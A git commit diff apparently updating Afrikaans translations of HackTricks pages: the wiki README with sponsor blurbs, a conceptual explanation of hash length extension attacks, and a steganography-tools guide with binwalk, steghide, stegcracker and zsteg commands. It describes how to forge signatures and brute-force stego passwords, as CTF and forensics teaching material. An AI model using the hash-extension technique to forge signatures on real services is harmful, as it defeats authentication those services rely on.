Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.

This commit is contained in:
Translator 2024-09-04 13:35:49 +00:00
parent c69addd3bf
commit eb663e5711
86 changed files with 1630 additions and 3237 deletions

View file

@ -5,7 +5,7 @@
_Hacktricks logo's & bewegingsontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
**Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing en nuus sal vind.**
**Welkom by die wiki waar jy elke hacking truuk/tegniek/iets wat ek geleer het van CTFs, werklike toepassings, navorsing lees, en nuus sal vind.**
{% endhint %}
Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy moet volg wanneer jy pentesting** op een of meer **masjiene:**
@ -20,7 +20,7 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy wie se slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheid dienste** soos pentesting, Red teams en opleiding aan te bied.
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
@ -55,7 +55,7 @@ Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat aangedryf word deur die wêreld se **meest gevorderde** gemeenskap gereedskap.
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkvloei** te bou en te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.
Kry Toegang Vandag:
@ -77,64 +77,30 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
***
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Die noodsaaklike penetrasietoets gereedskap
### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - Die noodsaaklike penetrasietoets gereedskapstel
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Onmiddellik beskikbare opstelling vir kwesbaarheid assessering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
**Dadelijk beskikbare opstelling vir kwesbaarheid assessering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek uit met 20+ gereedskap & funksies wat van recon tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
***
### [SerpApi](https://serpapi.com/)
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
SerpApi bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
'n Subskripsie op een van SerpApi se planne sluit toegang in tot meer as 50 verskillende API's vir die scrape van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennisgrafieke, en ander elemente en funksies wat in die soekenjinresultate teenwoordig is, in.
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
Jy kan 'n **gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.**
***
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [WebSec](https://websec.nl/)
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheid maatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te **beskerm** deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Eksploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy dit nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware aanvalle wat voortspruit uit inligting-steel malware te bekamp.
Jy kan hul webwerf nagaan en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
## Lisensie & Vrywaring
@ -159,7 +125,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -15,26 +15,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
## Summary of the attack
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Stel jou voor 'n bediener wat **onderteken** sekere **data** deur 'n **geheime** by te voeg aan 'n bekende duidelike teks data en dan daardie data te hash. As jy weet:
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
## Samevatting van die aanval
Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime** by 'n bekende duidelike teksdata te voeg en dan daardie data te hash. As jy weet:
* **Die lengte van die geheim** (dit kan ook gebruteforceer word vanaf 'n gegewe lengterange)
* **Die duidelike teksdata**
* **Die lengte van die geheim** (dit kan ook gebruteforced word vanaf 'n gegewe lengte reeks)
* **Die duidelike teks data**
* **Die algoritme (en dit is kwesbaar vir hierdie aanval)**
* **Die padding is bekend**
* Gewoonlik word 'n standaard een gebruik, so as die ander 3 vereistes nagekom word, is dit ook
@ -42,37 +29,27 @@ Stel jou 'n bediener voor wat **onderteken** sekere **data** deur 'n **geheime**
Dan is dit moontlik vir 'n **aanvaller** om **data** by te voeg en 'n geldige **handtekening** te genereer vir die **vorige data + bygevoegde data**.
### Hoe?
### How?
Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **uit** die **voorheen** geskepte **hash** (toestand), voeg hulle **die volgende blok data** by en **hash dit**.
Basies genereer die kwesbare algoritmes die hashes deur eerstens **'n blok data te hash**, en dan, **van** die **voorheen** geskepte **hash** (toestand), voeg hulle **die volgende blok data** by en **hash dit**.
Stel jou voor dat die geheim "geheim" is en die data "data", die MD5 van "geheimdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
As 'n aanvaller die string "voeg by" wil byvoeg, kan hy:
As 'n aanvaller die string "byvoeg" wil byvoeg kan hy:
* 'n MD5 van 64 "A"s genereer
* Die toestand van die voorheen geïnitialiseerde hash verander na 6036708eba0d11f6ef52ad44e8b74d5b
* Die string "voeg by" byvoeg
* Die hash voltooi en die resultaat sal 'n **geldige een wees vir "geheim" + "data" + "padding" + "voeg by"**
* Die string "byvoeg" byvoeg
* Die hash voltooi en die resulterende hash sal 'n **geldige een wees vir "geheim" + "data" + "padding" + "byvoeg"**
### **Gereedskap**
### **Tool**
{% embed url="https://github.com/iagox86/hash_extender" %}
### Verwysings
### References
Jy kan hierdie aanval goed verduidelik vind in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,63 +1,55 @@
# Stego Truuks
# Stego Tricks
{% hint style="success" %}
Leer & oefen AWS-hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **Data Uithaal uit Lêers**
## **Data uit Lêers Onthul**
### **Binwalk**
'n Gereedskap om binêre lêers te soek vir ingeslote versteekte lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
'n Gereedskap om binêre lêers te soek na ingebedde versteekte lêers en data. Dit word geïnstalleer via `apt` en sy bron is beskikbaar op [GitHub](https://github.com/ReFirmLabs/binwalk).
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Voorste**
### **Foremost**
Herstel lêers gebaseer op hul opskrifte en voettekste, nuttig vir png-afbeeldings. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
Herstel lêers gebaseer op hul koppe en sterte, nuttig vir png prente. Geïnstalleer via `apt` met sy bron op [GitHub](https://github.com/korczis/foremost).
```bash
foremost -i file # Extracts data
```
### **Exiftool**
Helps om lêermetadata te sien, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
Help om lêer metadata te sien, beskikbaar [hier](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Soortgelyk aan exiftool, vir metadatabesoek. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
Soortgelyk aan exiftool, vir metadata weergawes. Installeerbaar via `apt`, bron op [GitHub](https://github.com/Exiv2/exiv2), en het 'n [amptelike webwerf](http://www.exiv2.org/).
```bash
exiv2 file # Shows the metadata
```
### **Lêer**
Identifiseer die tipe lêer waarmee jy werk.
Identifiseer die tipe lêer waarmee jy te doen het.
### **Strings**
Haal leesbare strings uit lêers, deur verskillende enkoderingsinstellings te gebruik om die uitset te filter.
Onthaal leesbare strings uit lêers, met verskeie koderinginstellings om die uitvoer te filter.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -71,75 +63,75 @@ strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Vergelyking (cmp)**
Nuttig vir die vergelyking van 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is.
Nuttig om 'n gewysigde lêer met sy oorspronklike weergawe wat aanlyn gevind is, te vergelyk.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Uithaling van Versteekte Data in Teks**
## **Uittreksel van Verborgen Data in Tekst**
### **Versteekte Data in Spasies**
### **Verborgen Data in Spasies**
Onsigbare karakters in ogenschijnlik leë spasies kan inligting verberg. Om hierdie data te onttrek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
Onsigbare karakters in blykbaar leë spasies mag inligting verberg. Om hierdie data uit te trek, besoek [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
## **Uithaling van Data uit Beelde**
## **Uittreksel van Data uit Beelde**
### **Identifisering van Beelddetails met GraphicMagick**
### **Identifisering van Beeldbesonderhede met GraphicMagick**
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korruptie te identifiseer. Voer die onderstaande bevel uit om 'n beeld te inspekteer:
[GraphicMagick](https://imagemagick.org/script/download.php) dien om beeldlêertipes te bepaal en potensiële korrupsie te identifiseer. Voer die onderstaande opdrag uit om 'n beeld te ondersoek:
```bash
./magick identify -verbose stego.jpg
```
Om 'n beskadigde beeld te probeer herstel, kan dit help om 'n metadata opmerking by te voeg:
Om herstel op 'n beskadigde beeld te probeer, kan dit help om 'n metadata-kommentaar by te voeg:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Steghide vir Data Versteek**
### **Steghide vir Data Versteeking**
Steghide fasiliteer die versteek van data binne `JPEG, BMP, WAV, en AU` lêers, in staat om versleutelde data in te bed en te onttrek. Installasie is maklik met behulp van `apt`, en sy [bronkode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
Steghide fasiliteer die verborge van data binne `JPEG, BMP, WAV, en AU` lêers, en is in staat om versleutelde data in te sluit en uit te trek. Installasie is eenvoudig met `apt`, en sy [bronskode is beskikbaar op GitHub](https://github.com/StefanoDeVuono/steghide).
**Opdragte:**
* `steghide info lêer` onthul of 'n lêer verskuilde data bevat.
* `steghide extract -sf lêer [--wagwoord wagwoord]` onttrek die verskuilde data, wagwoord is opsioneel.
* `steghide info file` onthul of 'n lêer verborge data bevat.
* `steghide extract -sf file [--passphrase password]` trek die verborge data uit, wagwoord is opsioneel.
Vir web-gebaseerde onttrekking, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
Vir web-gebaseerde ekstraksie, besoek [hierdie webwerf](https://futureboy.us/stegano/decinput.html).
**Bruteforce Aanval met Stegcracker:**
* Om wagwoordkraking op Steghide te probeer, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
* Om 'n wagwoord te probeer kraak op Steghide, gebruik [stegcracker](https://github.com/Paradoxis/StegCracker.git) soos volg:
```bash
stegcracker <file> [<wordlist>]
```
### **zsteg vir PNG en BMP-lêers**
### **zsteg vir PNG en BMP Lêers**
zsteg spesialiseer daarin om verskuilde data in PNG- en BMP-lêers bloot te lê. Installasie word gedoen deur `gem install zsteg`, met sy [bron op GitHub](https://github.com/zed-0xff/zsteg).
zsteg spesialiseer in die ontdekking van versteekte data in PNG en BMP lêers. Installasie word gedoen via `gem install zsteg`, met sy [bron op GitHub](https://github.com/zed-0xff/zsteg).
**Opdragte:**
* `zsteg -a lêer` pas alle opsporingmetodes toe op 'n lêer.
* `zsteg -E lêer` spesifiseer 'n nuttelading vir data-ekstraksie.
* `zsteg -a file` pas alle opsporingsmetodes op 'n lêer toe.
* `zsteg -E file` spesifiseer 'n payload vir data-ekstraksie.
### **StegoVeritas en Stegsolve**
**stegoVeritas** ondersoek metadata, voer beeldtransformasies uit, en pas LSB-brute forcing onder andere kenmerke toe. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
**stegoVeritas** kontroleer metadata, voer beeldtransformasies uit, en pas LSB brute forcing toe onder andere funksies. Gebruik `stegoveritas.py -h` vir 'n volledige lys van opsies en `stegoveritas.py stego.jpg` om alle kontroles uit te voer.
**Stegsolve** pas verskeie kleurfilters toe om verskuilde teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
**Stegsolve** pas verskeie kleurfilters toe om versteekte teks of boodskappe binne beelde te onthul. Dit is beskikbaar op [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
### **FFT vir die Opmerking van Verskuilde Inhoud**
### **FFT vir Versteekte Inhoud Opsporing**
Vinnige Fourier-transformasie (FFT) tegnieke kan verskuilde inhoud in beelde onthul. Nuttige bronne sluit in:
Fast Fourier Transform (FFT) tegnieke kan verborge inhoud in beelde onthul. Nuttige hulpbronne sluit in:
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
* [FFTStegPic op GitHub](https://github.com/0xcomposure/FFTStegPic)
### **Stegpy vir Klank- en Beeldlêers**
### **Stegpy vir Klank en Beeld Lêers**
Stegpy maak dit moontlik om inligting in beeld- en klanklêers in te bed, met ondersteuning vir formate soos PNG, BMP, GIF, WebP, en WAV. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
Stegpy laat die insluiting van inligting in beeld- en klanklêers toe, wat formate soos PNG, BMP, GIF, WebP, en WAV ondersteun. Dit is beskikbaar op [GitHub](https://github.com/dhsdshdhk/stegpy).
### **Pngcheck vir PNG-lêerontleding**
### **Pngcheck vir PNG Lêer Analise**
Om PNG-lêers te ontleed of hul egtheid te valideer, gebruik:
Om PNG lêers te analiseer of om hul egtheid te verifieer, gebruik:
```bash
apt-get install pngcheck
pngcheck stego.png
@ -149,32 +141,32 @@ pngcheck stego.png
Vir verdere verkenning, oorweeg om te besoek:
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
* [Beeld Foutvlakanalise](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
* [OpenStego](https://www.openstego.com/)
* [DIIT](https://diit.sourceforge.net/)
## **Data Uithaal uit Klanklêers**
## **Data Uittrekking uit Klank**
**Klanksteganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskillende gereedskap word gebruik vir die inbedding of herwinning van verborge inhoud.
**Klank steganografie** bied 'n unieke metode om inligting binne klanklêers te verberg. Verskeie gereedskap word gebruik om versteekte inhoud in te sluit of te onttrek.
### **Steghide (JPEG, BMP, WAV, AU)**
Steghide is 'n veelsydige gereedskap wat ontwerp is om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego-tricks dokumentasie](stego-tricks.md#steghide).
Steghide is 'n veelsydige gereedskap ontwerp om data in JPEG, BMP, WAV, en AU lêers te verberg. Gedetailleerde instruksies word verskaf in die [stego tricks dokumentasie](stego-tricks.md#steghide).
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
Hierdie gereedskap is verenigbaar met 'n verskeidenheid formate, insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
Hierdie gereedskap is versoenbaar met 'n verskeidenheid formate insluitend PNG, BMP, GIF, WebP, en WAV. Vir meer inligting, verwys na [Stegpy se afdeling](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
### **ffmpeg**
ffmpeg is noodsaaklik vir die assessering van die integriteit van klanklêers, waarby gedetailleerde inligting uitgelig word en enige teenstrydighede aangedui word.
ffmpeg is van kardinale belang vir die beoordeling van die integriteit van klanklêers, wat gedetailleerde inligting uitlig en enige afwykings aanwys.
```bash
ffmpeg -v info -i stego.mp3 -f null -
```
### **WavSteg (WAV)**
WavSteg blink uit in die wegsteek en onttrek van data binne WAV-lêers deur die minst betekenisvolle bit-strategie te gebruik. Dit is toeganklik op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
WavSteg presteer in die verborge en onttrekking van data binne WAV-lêers deur die minste betekenisvolle bit-strategie te gebruik. Dit is beskikbaar op [GitHub](https://github.com/ragibson/Steganography#WavSteg). Opdragte sluit in:
```bash
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
@ -182,51 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
```
### **Deepsound**
Deepsound maak dit moontlik om inligting binne klanklêers te versleutel en op te spoor met behulp van AES-256. Dit kan afgelaai word vanaf [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
Deepsound stel die versleuteling en opsporing van inligting binne klanklêers moontlik deur gebruik te maak van AES-256. Dit kan afgelaai word van [die amptelike bladsy](http://jpinsoft.net/deepsound/download.aspx).
### **Sonic Visualizer**
'n Onbetaalbare instrument vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan verborge elemente onthul wat met ander metodes onopspoorbaar is. Besoek die [ampstelike webwerf](https://www.sonicvisualiser.org/) vir meer inligting.
'n Onskatbare hulpmiddel vir visuele en analitiese inspeksie van klanklêers, Sonic Visualizer kan versteekte elemente onthul wat deur ander middele onopspoorbaar is. Besoek die [amptelike webwerf](https://www.sonicvisualiser.org/) vir meer.
### **DTMF-tone - Kies-tone**
### **DTMF Tones - Dial Tones**
Die opsporing van DTMF-tone in klanklêers kan bereik word deur aanlynhulpmiddels soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
Die opsporing van DTMF-tones in klanklêers kan bereik word deur middel van aanlyn hulpmiddels soos [hierdie DTMF-detektor](https://unframework.github.io/dtmf-detect/) en [DialABC](http://dialabc.com/sound/detect/index.html).
## **Ander Tegnieke**
## **Other Techniques**
### **Binêre Lengte SQRT - QR-kode**
### **Binary Length SQRT - QR Code**
Binêre data wat tot 'n heelgetal kwadreer, kan 'n QR-kode verteenwoordig. Gebruik hierdie snipper om te kontroleer:
Binaire data wat tot 'n heelgetal kwadrate, mag 'n QR-kode voorstel. Gebruik hierdie snit om te kontroleer:
```python
import math
math.sqrt(2500) #50
```
For binêre na beeld konversie, kyk na [dcode](https://www.dcode.fr/binary-image). Om QR-kodes te lees, gebruik [hierdie aanlyn strepieskode leser](https://online-barcode-reader.inliteresearch.com/).
### **Braille Vertaling**
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende bron.
Vir die vertaling van Braille, is die [Branah Braille Translator](https://www.branah.com/braille-translator) 'n uitstekende hulpbron.
## **Verwysings**
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

